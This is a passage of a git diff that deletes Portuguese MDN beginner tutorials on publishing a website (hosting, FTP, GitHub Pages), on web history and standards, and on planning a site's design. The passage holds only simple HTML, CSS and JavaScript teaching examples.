-<p>A publicação de um site na web é um tema complexo porque há muitas maneiras de o abordar. Este artigo não tenta documentar todos os métodos possíveis. Em vez disso, explica as vantagens e desvantagens de três abordagens que são práticas para os principiantes. Depois, passa por um método que pode funcionar de imediato para muitos leitores.</p>
-
-<h3 id="Encontrar_hospedagem_na_web_e_um_nome_de_domínio">Encontrar hospedagem na web e um nome de domínio</h3>
-
-<p>Para ter mais controlo sob o conteúdo e a aparência dum site, a maioria das pessoas escolhe comprar hospedagem na <em>web</em> e um nome de domínio:</p>
-
-<ul>
- <li>O serviço de alojamento <em>web</em> fornece espaço de arquivo alugado no <a href="/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_servidor_da_Web">servidor</a> de uma empresa de alojamento.  Colocam-se ficheiros de <em>websites</em> no servidor. O servidor fornece o conteúdo do site aos seus visitantes.</li>
- <li>Um <a href="/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_nome_de_dominio">nome de domínio</a> é o endereço único onde as pessoas encontram o seu sítio <em>web</em>, tal como <code>https://www.mozilla.org</code> ou <code>http://www.bbc.co.uk</code>. Pode alugar o seu nome de domínio por tantos anos quantos desejar a partir dum <strong>registador de domínios</strong>.</li>
-</ul>
-
-<p>Muitos sites profissionais escolhem este modo para pôr o seu site online.</p>
-
-<p>Além disso, precisará de um programa {{Glossary("FTP", "File Transfer Protocol (FTP)")}} (ver <a href="/en-US/Learn/How_much_does_it_cost#Software">How much does it cost: software</a> para mais detalhes) para transferir os ficheiros do site para o servidor. Os programas FTP variam muito, mas geralmente, tem de se ligar ao seu servidor web utilizando os detalhes fornecidos pela sua empresa de hospedagem (normalmente nome de utilizador, palavra-passe, nome de anfitrião). Depois, o programa mostra-lhe os seus ficheiros locais e os ficheiros do servidor web em duas janelas, e fornece-lhe uma forma de transferir ficheiros para trás e para a frente.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9469/ftp.jpg" style="display: block; height: 487px; margin: 0px auto; width: 800px;"></p>
-
-<h4 id="Dicas_para_encontrar_hospedagem_na_web_e_um_nome_de_domínio">Dicas para encontrar hospedagem na web e um nome de domínio</h4>
-
-<ul>
- <li>A MDN não promove empresas específicas de alojamento comercial ou agentes de registo de nomes de domínio. Para encontrar empresas de alojamento e agentes de registo, basta procurar por "alojamento web" e "nomes de domínio". Todos os agentes de registo terão uma funcionalidade que lhe permitirá verificar se o nome de domínio que pretende está disponível.</li>
- <li>O {{Glossary("ISP", "fornecedor de internet")}} da sua casa ou escritório pode fornecer algum alojamento limitado para um pequeno website. O conjunto de funcionalidades disponíveis será limitado, mas poderá ser perfeito para as suas primeiras experiências.</li>
- <li>Há também serviços gratuitos disponíveis como <a href="https://neocities.org/">Neocities</a>, <a href="https://www.blogger.com/">Blogger</a>, e <a href="https://wordpress.com/">WordPress</a>.  Estes não são as opções mais robustas, mas por vezes estes recursos são suficientemente bons para as experiências iniciais.</li>
- <li>Muitas empresas oferecem alojamento e nomes de domínio.</li>
-</ul>
-
-<h3 id="Usar_uma_ferramenta_online">Usar uma ferramenta online</h3>
-
-<p>Algumas ferramentas permitem publicar o seu site online:</p>
-
-<ul>
- <li><a href="https://github.com/">GitHub</a> é um site de "programação social". Permite-lhe carregar repositórios de código para armazenamento no sistema de <strong>controlo de versões</strong> <a href="http://git-scm.com/">Git</a>. Pode então colaborar em projetos de código, e o sistema é de código aberto por defeito, o que significa que qualquer pessoa no mundo pode encontrar o seu código no GitHub, usá-lo, aprender com ele, e melhorá-lo. GitHub tem uma funcionalidade muito útil chamada <a href="https://pages.github.com/">GitHub Pages</a>, que lhe permite expor o código do website ao vivo na web.</li>
- <li><a href="https://cloud.google.com/appengine/">Google App Engine</a> é uma plataforma poderosa que lhe permite construir e executar aplicações na infraestrutura do Google - quer necessite de construir uma aplicação web multi níveis a partir do zero ou hospedar um website estático. Veja <a href="/en-US/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">How do you host your website on Google App Engine?</a> para mais informações.</li>
-</ul>
-
-<p>Estas opções são tipicamente grátis, mas é possível você acabar por precisar mais que as funções que elas oferecem.</p>
-
-<h3 id="Usar_um_IDE_online">Usar um IDE online</h3>
-
-<p>Existem várias aplicações web que imitam um ambiente de desenvolvimento de <em>website</em>, permitindo-lhe introduzir HTML, CSS e JavaScript, e depois mostrar o resultado desse código como um <em>website</em> — tudo num único separador do navegador. Em geral, estas ferramentas são relativamente fáceis de manusear, ótimas para aprender, boas para partilhar código (por exemplo, se quiser partilhar uma técnica com ou pedir ajuda de depuração a colegas num escritório diferente), e gratuitas (para funcionalidades básicas). Hospedam a sua página num endereço da web único. No entanto, as funcionalidades são limitadas, e estas aplicações normalmente não fornecem espaço de alojamento para ativos (como imagens).</p>
-
-<p>Experimente usar as seguintes IDEs para descobrir qual é a melhor para si:</p>
-
-<ul>
- <li><a href="https://jsfiddle.net/">JSFiddle</a></li>
- <li><a href="https://glitch.com/">Glitch</a></li>
- <li><a href="http://jsbin.com/">JS Bin</a></li>
- <li><a href="https://codepen.io/">CodePen</a></li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9471/jsbin-screen.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></p>
-
-<h2 id="Publicar_via_GitHub">Publicar via GitHub</h2>
-
-<p>Agora vejamos como facilmente publicar o seu site através do GitHub Pages.</p>
-
-<ol>
- <li>Primeiro, <a href="https://github.com/">inscreva se no GitHub</a> e confirme o seu endereço eletrónico.</li>
- <li>A seguir, <a href="https://github.com/new">a crie um repositório</a> para guardar os seus ficheiros.</li>
- <li>Nesta página, na caixa <em>Repository name</em>, escreva <em>username</em>.github.io, onde <em>username</em> é o seu nome de utilizador. Por exemplo, Bob Smith iria introduzir <em>bobsmith.github.io</em> na caixa. Selecione a caixa "<em>Initialize this repository with a README"</em>, e carregue "<em>Create repository</em>".<img alt="" src="https://mdn.mozillademos.org/files/9479/github-create-repo.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></li>
- <li>Arraste os conteúdos da sua pasta para o website, para dentro do repositório. Depois carregue em <em>Commit changes</em>.<br>
-
- <div class="note">
- <p><strong>Nota</strong>: Certifique se que a sua pasta contém o ficheiro <code>index.html</code>.</p>
- </div>
- </li>
- <li>
- <p>Navegue no seu navegador até <em>username</em>.github.io para ver o seu website online. Por exemplo, para o nome de utilizador <em>chrisdavidmills</em>, vai a <a href="http://chrisdavidmills.github.io/"><em>chrisdavidmills</em>.github.io</a>.</p>
-
- <div class="note">
- <p><strong>Nota</strong>: Pode demorar alguns minutos para que o seu site esteja <em>live</em>. Se o seu site não for visível imediatamente, espere por uns minutos e tente novamente.</p>
- </div>
- </li>
-</ol>
-
-<p>Para aprender mais, veja <a href="https://help.github.com/categories/github-pages-basics/">GitHub Pages Help</a>.</p>
-
-<h2 id="Leitura_complementar">Leitura complementar</h2>
-
-<ul>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_servidor_da_Web">O que é um servidor da web</a></li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_nome_de_dominio">Entendendo nomes de domínio</a></li>
- <li><a class="external external-icon" href="https://www.codecademy.com/learn/deploy-a-website" rel="noopener">Publicar um site</a>: Um bom tutorial da Codecademy que vai um pouco além e mostra algumas técnicas adicionais.</li>
- <li><a class="external external-icon" href="https://alignedleft.com/resources/cheap-web-hosting" rel="noopener">Hospedagem baratas ou gratuitas de sites estáticos</a>, por Scott Murray, tem algumas ideias úteis sobre serviços disponíveis.</li>
-</ul>
-
-<p>{{PreviousMenuNext("Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web/Como_funciona_a_Web", "Learn/Comecar_com_a_Web")}}</p>
-
-<h2 id="Neste_módulo">Neste módulo</h2>
-
-<ul>
- <li id="Installing_basic_software"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a></li>
- <li id="What_will_your_website_look_like"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site">Qual será a aparência do seu site da Web?</a></li>
- <li id="Dealing_with_files"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a></li>
- <li id="HTML_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos">HTML - Essencial</a></li>
- <li id="CSS_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">CSS - Essencial</a></li>
- <li id="JavaScript_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript">JavaScript - Essencial</a></li>
- <li id="Publishing_your_website"><a class="new" href="/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web" rel="nofollow">Publicar o seu site na Web</a></li>
- <li id="How_the_web_works"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web">Como funciona a Web?</a></li>
-</ul>
diff --git a/files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html b/files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html
deleted file mode 100644
index 66f62d8178..0000000000
--- a/files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html
+++ /dev/null
@@ -1,175 +0,0 @@
----
-title: A Web e os padrões da Web
-slug: Learn/Getting_started_with_the_web/The_web_and_web_standards
-tags:
- - Aprender
- - Beginner
- - Front-end
- - Normas da Web
- - Padrões da Web
- - Web
-translation_of: Learn/Getting_started_with_the_web/The_web_and_web_standards
-original_slug: Learn/Comecar_com_a_Web/A_web_e_os_padroes_da_web
----
-<p dir="ltr">{{learnsidebar}}</p>
-
-<p dir="ltr">Este artigo fornece informação útil sobre a Web - como surgiu, o que são as tecnologias padrão da Web, como trabalham em conjunto, porque é que <em>web developer</em> é uma excelente carreira a escolher, e que melhores práticas irá aprender através do curso.</p>
-
-<h2 dir="ltr" id="História_resumida_da_Web">História resumida da Web</h2>
-
-<p dir="ltr">Vamos manter isto muito breve, pois existem relatos muito (mais) detalhados da história da web lá fora, aos quais faremos referência mais tarde (tente também procurar por "história da web" no seu motor de busca favorito e veja o que obtém, se estiver interessado em mais detalhes).</p>
-
-<p dir="ltr">No final da década de 1960, o exército dos EUA desenvolveu uma rede de comunicação chamada <a href="/en-US/docs/Glossary/Arpanet">ARPANET</a>. Esta pode ser considerada uma precursora da Web, uma vez que funcionava na {{Interwiki("wikipedia", "Comutação de pacotes", "comutação de pacotes")}}, e incluía a primeira implementação do conjunto de protocolos {{Interwiki("wikipedia", "TCP/IP", "TCP/IP")}}. Estas duas tecnologias formam a base da infra-estrutura sobre a qual a Internet está construída.</p>
-
-<p dir="ltr">Em 1980, Tim Berners-Lee (frequentemente referido como TimBL) escreveu um programa de caderno de notas chamado ENQUIRE, que apresentava o conceito de ligações entre os diferentes nódulos. Soa familiar?</p>
-
-<p dir="ltr">Avançando para 1989, e a TimBL escreveu <em><a href="https://www.w3.org/History/1989/proposal.html">Information Management: A Proposal</a></em> e <em>HyperText at CERN</em>; estas duas publicações em conjunto forneceram o pano de fundo para a forma como a web funcionaria. Receberam interesse suficiente para convencer os chefes do TimBL a permitir-lhe avançar e criar um sistema global de hipertexto.</p>
-
-<p dir="ltr">No final de 1990, TimBL tinha criado todas as coisas necessárias para executar a primeira versão da web - <a href="/pt-PT/docs/Web/HTTP">HTTP</a>, <a href="/pt-PT/docs/Web/HTML">HTML</a>, o primeiro navegador web, que se chamava {{Interwiki("wikipedia", "WorldWideWeb", "WorldWideWeb")}}, um servidor HTTP, e algumas páginas web para ver.</p>
-
-<p dir="ltr">Nos anos que se seguiram, a web explodiu, com vários navegadores a serem lançados, milhares de servidores web a serem criados, e milhões de páginas web a serem criadas. OK, este é um resumo muito simples do que aconteceu, mas prometi-vos um breve resumo.</p>
-
-<p dir="ltr">Um último dado significativo a partilhar é que em 1994, o TimBL fundou o {{Interwiki("wikipedia", "W3C", "World Wide Web Consortium")}} (W3C), uma organização que reúne representantes de muitas empresas tecnológicas diferentes para trabalharem em conjunto na criação de especificações tecnológicas para a web. Depois disso seguiram-se outras tecnologias, tais como <a href="/pt-PT/docs/Web/CSS">CSS</a> e <a href="/pt-PT/docs/Web/JavaScript/">JavaScript</a>, e a web começou a parecer-se mais com a web que conhecemos hoje.</p>
-
-<h2 dir="ltr" id="Os_padrões_da_Web">Os padrões da Web</h2>
-
-<p>As <strong>normas / padrões da web</strong> são as tecnologias que utilizamos para construir websites. Estas normas existem como longos documentos técnicos chamados especificações, que detalham exactamente como a tecnologia deve funcionar. Estes documentos não são muito úteis para aprender a utilizar as tecnologias que descrevem (é por isso que temos sites como a MDN Web Docs), mas em vez disso destinam-se a ser utilizados por engenheiros de software para implementar estas tecnologias (geralmente em navegadores).</p>
-
-<p>Por exemplo, o <a href="https://html.spec.whatwg.org/multipage/">HTML Living Standard</a> descreve exactamente como o HTML (todos os elementos HTML, e as suas APIs associadas, e outras tecnologias circundantes) deve ser implementado.</p>
-
-<p>As normas Web são criadas por organismos de normas — instituições que convidam grupos de pessoas de diferentes empresas tecnológicas a juntarem-se e acordarem sobre a melhor forma de como as tecnologias devem funcionar para cumprir todos os seus casos de utilização. O W3C é o organismo de normas Web mais conhecido, mas existem outros como o <a href="https://whatwg.org/">WHATWG</a> (que foi responsável pela modernização da linguagem HTML), <a href="https://www.ecma-international.org/">ECMA</a> (que publica a norma para ECMAScript, na qual o JavaScript se baseia), <a href="https://www.khronos.org/">Khronos</a> (que publica tecnologias para gráficos 3D, como o WebGL), e outros.</p>
-
-<h3 dir="ltr" id="Standards_abertos">Standards "abertos"</h3>
-
-<p dir="ltr">Um dos aspetos chave das normas <em>web</em>, que o TimBL e o W3C acordaram desde o início, é que a <em>web</em> (e as tecnologias <em>web</em>) devem ser livres de contribuir e utilizar, e não sobrecarregadas por patentes / licenciamento. Portanto, qualquer pessoa pode escrever o código para construir um <em>website</em> gratuitamente, e qualquer pessoa pode contribuir para o processo de criação de normas, onde as especificações são escritas.</p>
-
-<p dir="ltr">Porque as tecnologias <em>web</em> são criadas abertamente, numa colaboração entre várias empresas, isso significa que nenhuma empresa as consegue controlar, que é fantástico. Não se quer que uma única empresa decida subitamente colocar a <em>web</em> inteira atrás de uma <em>paywall</em>, ou lançar uma nova versão de HTML que todos têm de comprar para continuar a fazer <em>websites</em>, ou pior ainda, decidindo apenas que já não estão interessados e simplesmente desligando a <em>web</em>.</p>
-
-<p dir="ltr">Isto permite que a <em>web</em> continue a ser um recurso público disponível gratuitamente.</p>
-
-<h3 dir="ltr" id="Não_quebre_a_web">Não quebre a web</h3>
-
-<p dir="ltr">Outra frase que ouvirá em torno das normas abertas da <em>web</em> é "não quebre a <em>web</em>" — a ideia é que qualquer nova tecnologia <em>web</em> que seja introduzida deve ser retro compatível com o que existia antes (ou seja, os antigos <em>websites</em> continuarão a funcionar), e com o que existe atualmente (as futuras tecnologias, por sua vez, serão compatíveis com o que temos atualmente). Ao percorrer o material de aprendizagem aqui apresentado, começará a aprender como isto se torna possível com algum trabalho de conceção e implementação muito inteligente.</p>
-
-<h2 id="Ser_um_web_developer_é_bom">Ser um <em>web developer</em> é bom</h2>
-
-<p>A indústria da <em>web</em> é um mercado muito atrativo para entrar se estiver à procura de um emprego. Números recentemente publicados dizem que existem atualmente cerca de 19 milhões de <em>web developers</em> no mundo, e esse número é previsto mais que dobrar na próxima década. E, ao mesmo tempo, há uma escassez de competências na indústria — portanto, que melhor altura para aprender a desenvolvimento web?</p>
-
-<p>No entanto, nem tudo é brincadeira — construir <em>sites</em> é uma atividade mais complicada do que costumava ser, e terá de dedicar algum tempo ao estudo de todas as diferentes tecnologias que precisa de utilizar, todas as técnicas e melhores práticas que precisa de conhecer, e todos os padrões típicos que será necessário implementar. Vai levar alguns meses para começar realmente a ser proficiente, e depois terá de continuar a aprender para que o seu conhecimento se mantenha atualizado com todas as novas ferramentas e funcionalidades que aparecem na plataforma <em>web</em>, e continuar a praticar e a aperfeiçoar a sua arte.</p>
-
-<p><em>A única constante é a mudança.</em></p>
-
-<p>Isto parece-lhe difícil? Não se preocupe — o nosso objetivo é dar-lhe tudo o que precisa de saber para começar, e as coisas ficarão mais fáceis. Assim que aceitar a constante mudança e incerteza da <em>web</em>, começará a divertir-se. Como parte da comunidade <em>web</em>, terá uma rede de contactos e material útil para o ajudar, e começará a desfrutar das possibilidades criativas que ela lhe traz.</p>
-
-<p>Agora é um criativo digital. Desfrute da experiência.</p>
-
-<h2 id="Sinopse_das_tecnologias_modernas_da_Web">Sinopse das tecnologias modernas da Web</h2>
-
-<p>Há uma série de tecnologias a aprender se quiser ser um programador da <em>web</em> de <em>front-end</em>. Nesta secção iremos descrevê-las brevemente. Para uma explicação mais detalhada de como algumas delas funcionam em conjunto, leia o nosso artigo <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web">Como funciona a <em>web</em></a>.</p>
-
-<h3 id="Navegadores">Navegadores</h3>
-
-<p>É provável que esteja a ler estas palavras dentro de um navegador neste preciso momento (a menos que o tenha imprimido, ou que esteja a utilizar tecnologia de assistência, tal como um leitor de ecrã para o ler). Os navegadores são os programas de software que as pessoas utilizam para consumir a web, e incluem o <a href="/pt-PT/docs/Mozilla/Firefox">Firefox</a>, <a href="https://www.google.com/chrome/">Chrome</a>, <a href="https://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a>, e <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Edge</a>.</p>
-
-<h3 id="HTTP">HTTP</h3>
-
-<p><em>Hypertext Transfer Protoco</em>l, ou HTTP, é um protocolo de transmissão de mensagens que permite aos navegadores Web comunicarem com servidores (onde os <em>websites</em> são armazenados). Uma conversa típica é algo como</p>
-
-<pre class="notranslate">"Hello web server. Can you give me the files I need to render bbc.co.uk"?
-
-"Sure thing web browser — here you go"
-
-[Downloads files and renders web page]</pre>
-
-<p>A sintaxe das mensagens HTTP (chamadas pedidos e respostas) não é tão legível para o ser humano, mas isto dá-lhe a ideia básica.</p>
-
-<h3 id="HTML_CSS_e_JavaScript">HTML, CSS, e JavaScript</h3>
-
-<p><a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, e <a href="/en-US/docs/Web/JavaScript">JavaScript</a> são as três tecnologias principais que irá usar para construir um <em>site</em>:</p>
-
-<ul>
- <li>
- <p>A linguagem de marcação de hipertexto, ou <strong>HTML</strong>, é uma linguagem de marcação que consiste em diferentes elementos em que se pode embrulhar (marcar) conteúdo para lhe dar significado (semântica) e estrutura. O HTML tem este aspeto:</p>
-
- <pre class="brush: html notranslate">&lt;h1&gt;This is a top-level heading&lt;/h1&gt;
-
-&lt;p&gt;This is a paragraph of text.&lt;/p&gt;
-
-&lt;img src="cat.jpg" alt="A picture of my cat"&gt;</pre>
-
- <p>Se adotarmos uma analogia de construção de casa, o HTML seria como as fundações e as paredes da casa, que lhe dão estrutura e a mantêm unida.</p>
- </li>
- <li>
- <p>Cascading Style Sheets (<strong>CSS</strong>) é uma linguagem baseada em regras para aplicar estilos ao seu HTML, por exemplo, definir cores de texto e de fundo, adicionar bordas, animar coisas, ou colocar uma página de uma certa forma. Como um exemplo simples, o seguinte código tornaria o nosso parágrafo HTML vermelho:</p>
-
- <pre class="brush: css notranslate">p {
- color: red;
-}</pre>
-
- <p>Usando a analogia da casa, CSS é a tinta, papel de parede, tapetes e pinturas que usaria para fazer a casa parecer bonita.</p>
- </li>
- <li>
- <p><strong>JavaScript</strong> é a linguagem de programação que utilizamos para adicionar interatividade aos <em>websites</em>, da mudança de estilo dinâmico, até à obtenção de atualizações a partir do servidor, passando por gráficos complexos em 3D. O seguinte JavaScript armazena uma referência ao nosso parágrafo na memória e depois altera o texto:</p>
-
- <pre class="brush: js notranslate">let pElem = document.querySelector('p');
-pElem.textContent = 'We changed the text!';</pre>
-
- <p>Na analogia da casa, o JavaScript é como o fogão, TV, Microondas, ou secador de cabelo — as coisas que dão à sua casa uma funcionalidade útil.</p>
- </li>
-</ul>
-
-<h3 id="Tooling"><em>Tooling</em></h3>
-
-<p>Uma vez aprendidas as tecnologias de base que podem ser usadas para construir páginas <em>web</em> (como HTML, CSS, e JavaScript), em breve começará a deparar-se com várias ferramentas que podem ser usadas para tornar o seu trabalho mais fácil ou mais eficiente. Os exemplos incluem:</p>
-
-<ul>
- <li>As <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">ferramentas de programação</a> em navegadores modernos que podem ser usados para <em>debug</em> os seus <em>sites</em>.</li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">Ferramentas de teste</a> que podem ser usadas para testar se o seu código está a agir da forma desejada.</li>
- <li>Bibliotecas e <em>frameworks</em> construidas com JavaScript que permitem construir certos <em>websites</em> dum modo mais rápido e eficiente.</li>
- <li><em>Linters</em>, que usando uma série de regras, processam o seu código e realcem os lugares onde as regras não foram seguidas corretamente.</li>
- <li><em>Minifiers</em>, que remove <em>whitespace</em> desnecessário de ficheiros com o seu código para diminuir o seu tamanho e permitir que sejam descarregados mais rapidamente.</li>
-</ul>
-
-<h3 id="Linguagens_de_lado_de_servidor_e_frameworks">Linguagens de lado de servidor e <em>frameworks</em></h3>
-
-<p>HTML, CSS, e JavaScript são linguagens de <em>front-end</em> (ou <em>client-side</em>), que significa que eles são processados pelo navegador para produzir a interface dum <em>website</em> que os seus utilizadores possam usar.</p>
-
-<p>Há outra classe de línguas chamada de <em>back-end</em> (ou línguas do lado do servidor), o que significa que são executadas no servidor antes de o resultado ser então enviado para o navegador para ser exibido. Uma utilização típica para uma linguagem do lado do servidor é obter alguns dados de uma base de dados e gerar algum HTML para conter os dados, antes de depois enviar o HTML para o navegador para o exibir ao utilizador.</p>
-
-<p>Exemplos de linguagens de lado de servidor incluem C#, Python, PHP e Java.</p>
-
-<h2 id="As_melhores_práticas_da_Web">As melhores práticas da Web</h2>
-
-<p>Falámos brevemente sobre as tecnologias que irá utilizar para construir sítios <em>web</em>. Agora vamos discutir as melhores práticas que deverá empregar para se certificar de que está a utilizar essas tecnologias o melhor possível.</p>
-
-<p>Ao fazer desenvolvimento web, a principal causa de incerteza advém do facto de não se saber que combinação de tecnologia cada utilizador utilizará para visualizar o seu <em>site</em>:</p>
-
-<ul>
- <li>Utilizador 1 pode estar a usar um iPhone, com um ecrã pequeno e estreito.</li>
- <li>Utilizador 2 pode estar a usar um portátil de Windows com um ecrã <em>widescreen</em>.</li>
- <li>Utilizador 3 pode ser cego e usar um leitor de ecrã para ler a página da <em>web</em>.</li>
- <li>Utilizador 4 pode estar a usar um computador antigo que não consegue correr navegadores modernos.</li>
-</ul>
-
-<p>Como não sabe exatamente o que os seus utilizadores irão usar, precisa de planear defensivamente - tornar o seu <em>site</em> tão flexível quanto possível, para que todos os utilizadores acima mencionados possam fazer uso dele, mesmo que nem todos possam ter a mesma experiência. Em resumo, estamos a tentar fazer com que a <em>web</em> funcione para todos, tanto quanto possível.</p>
-
-<p>Encontrará os conceitos abaixo em algum momento dos seus estudos.</p>
-
-<ul>
- <li><strong>Compatibilidade entre navegadores</strong> é a prática de tentar assegurar-se de que a sua página <em>web</em> funciona com o maior número de dispositivos possível. Isto inclui a utilização de tecnologias que todos os navegadores suportam, proporcionando melhores experiências aos navegadores que podem lidar com eles (melhoramento progressivo), e/ou escrever código de modo que caia de novo numa experiência mais simples, mas ainda utilizável em navegadores mais antigos (degradação graciosa). Também envolve muitos testes para ver se algo falha em certos navegadores, e depois mais trabalho para corrigir essas falhas.</li>
- <li><strong>Web design reactivo</strong> é a prática de tornar a sua funcionalidade e <em>layouts</em> flexíveis, para que se possam adaptar automaticamente a diferentes navegadores. Um exemplo óbvio é um <em>website</em> que é apresentado de uma forma num navegador de ecrã panorâmico no ambiente de trabalho, mas que se apresenta como um <em>layout</em> mais compacto e de uma só coluna nos navegadores de telemóveis. Tente ajustar agora a largura da janela do seu navegador, e veja o que acontece.</li>
- <li><strong>Performance</strong> significa fazer com que os websites sejam carregados o mais rapidamente possível, mas também torná-los intuitivos e fáceis de usar para que os utilizadores não fiquem frustrados e vão para outro lugar.</li>
- <li><strong>Acessibilidade</strong> significa tornar os seus <em>sites</em> utilizáveis pelo maior número possível de diferentes pessoas (conceitos relacionados são diversidade e inclusão, e design inclusivo). Isto inclui pessoas com deficiências visuais, auditivas, cognitivas, ou físicas. Também vai além das pessoas com deficiências - que tal jovens ou idosos, pessoas de culturas diferentes, utilizadores de dispositivos móveis, ou pessoas com ligações de rede pouco fiáveis ou lentas?</li>
- <li><strong>Internacionalização</strong> significa tornar os <em>websites</em> utilizáveis por pessoas de culturas diferentes, que falam línguas diferentes das suas. Há aqui considerações técnicas (tais como alterar o seu <em>layout</em> para que ainda funcione bem para as línguas da direita para a esquerda, ou mesmo verticais), e humanas (tais como utilizar uma linguagem simples e não linguística para que as pessoas que têm a sua língua como segunda ou terceira língua tenham mais probabilidades de compreender o seu texto).</li>
- <li><strong>Privacidade &amp; Segurança</strong>. Estes dois conceitos estão relacionados, mas são diferentes. A privacidade refere-se a permitir que as pessoas se dediquem aos seus negócios em privado e não as espiar ou recolher mais dos seus dados do que é absolutamente necessário. Segurança refere-se à construção do seu <em>website</em> de forma segura para que os utilizadores maliciosos não possam roubar-lhe ou aos seus utilizadores a informação nele contida.</li>
-</ul>
-
-<h2 dir="ltr" id="Ver_também">Ver também</h2>
-
-<ul dir="ltr">
- <li><a href="https://pt.wikipedia.org/wiki/Hist%C3%B3ria_da_World_Wide_Web">História da World Wide Web</a></li>
- <li><a href="/pt-PT/docs/Learn/Questoes_comuns/Como_funciona_a_Internet">Como funciona a Internet?</a></li>
-</ul>
-
-<ul dir="ltr">
-</ul>
diff --git a/files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html
deleted file mode 100644
index 8ca05fe1cb..0000000000
--- a/files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html
+++ /dev/null
@@ -1,113 +0,0 @@
----
-title: Qual será a aparência do seu site da Web?
-slug: Learn/Getting_started_with_the_web/What_will_your_website_look_like
-tags:
- - Aprender
- - Beginner
- - Conteúdo
- - Design
- - Planear
- - Tipos de Letra
- - l10n:priority
-translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like
-original_slug: Learn/Comecar_com_a_Web/Apresentacao_do_meu_site
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/Comecar_com_a_Web/Installing_basic_software", "Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web")}}</div>
-
-<div class="summary">
-<p>Este artigo descreve o planeamento e conceptualização necessários antes de escrever o código do site da internet, incluindo "Que informação é que o meu site oferece?", "Quais os tipos de letra e cores que eu quero?" e ​​"O que é que o meu site faz?"</p>
-</div>
-
-<h2 id="Antes_de_tudo_planeamento">Antes de tudo: planeamento</h2>
-
-<p>Antes de fazer o que quer que seja, precisa de algumas ideias. O que é que o seu site realmente deve fazer? Um site pode fazer qualquer coisa, mas para a sua primeira tentativa, procure manter as coisas simples. Vamos começar a criar uma página <em>web</em> simples com um cabeçalho, uma imagem e alguns parágrafos.</p>
-
-<p>Para começar, irá precisar de responder a estas questões:</p>
-
-<ol>
- <li><strong>De que se trata o seu site da Web? </strong>Gosta de cães, Nova Iorque, ou Pac-Man?</li>
- <li><strong>Que informação é que vai apresentar acerca o assunto? </strong>Escreva um título e alguns parágrafos, e pense numa imagem que gostaria de mostrar na sua página.</li>
- <li><strong>Como será apresentado o seu site da Web, </strong>em termos simples de alto nível? Qual é a cor de fundo? Que tipo de letra é apropriado: formal, desenhos, negrito e tom alto, subtil?</li>
-</ol>
-
-<div class="note">
-<p><strong>Nota</strong>: Projetos complexos precisam de diretrizes detalhadas que abordem todos os detalhes de cores, tipos de letra, espaçamento entre elementos de uma página, estilo de escrita apropriado, e assim por diante. Isto às vezes é chamado guia de desenho ou livro de marca, e pode ver um exemplo em  <a href="https://www.mozilla.org/en-US/styleguide/products/firefox-os/">Firefox OS - Orientações</a> (inglês).</p>
-</div>
-
-<h2 id="Esboçar_o_seu_desenho">Esboçar o seu desenho</h2>
-
-<p>A seguir, pegue numa caneta e papel e crie um esboço do layout do seu site. Para a sua primeira página, não há muito o que esboçar, mas deve adquirir o hábito de fazer isso agora. Isto é mesmo uma grande ajuda — não tem que ser um Van Gogh!</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9239/website-drawing-scan.png" style="display: block; height: 460px; margin: 0px auto; width: 640px;"></p>
-
-<div class="note">
-<p><strong>Nota</strong>: Mesmo em sites a sérios, complexos, a equipa de <em>design</em> costuma começar com esboços grosseiros em papel e mais tarde constrói maquetas digitais com um editor de imagem ou tecnologias web.</p>
-
-<p>Equipas de desenvolvimento web geralmente incluem um designer gráfico e um designer {{Glossary("UX", "user-experience")}} (UX). Obviamente, os designers gráficos montam os elementos visuais do site. Designers UX têm um papel mais abstrato, que consiste em abordar a forma como utilizadores vão experimentar e interagir com o site.</p>
-</div>
-
-<h2 id="Escolha_do_conteúdo">Escolha do conteúdo</h2>
-
-<p>Nesta altura, é boa ideia começar a criar o conteúdo que virá a aparecer na sua página da internet.</p>
-
-<h3 id="Texto">Texto</h3>
-
-<p>Ainda deve ter o parágrafo e títulos de há bocado. Mantenha-os por perto.</p>
-
-<h3 id="Cor_do_tema">Cor do tema</h3>
-
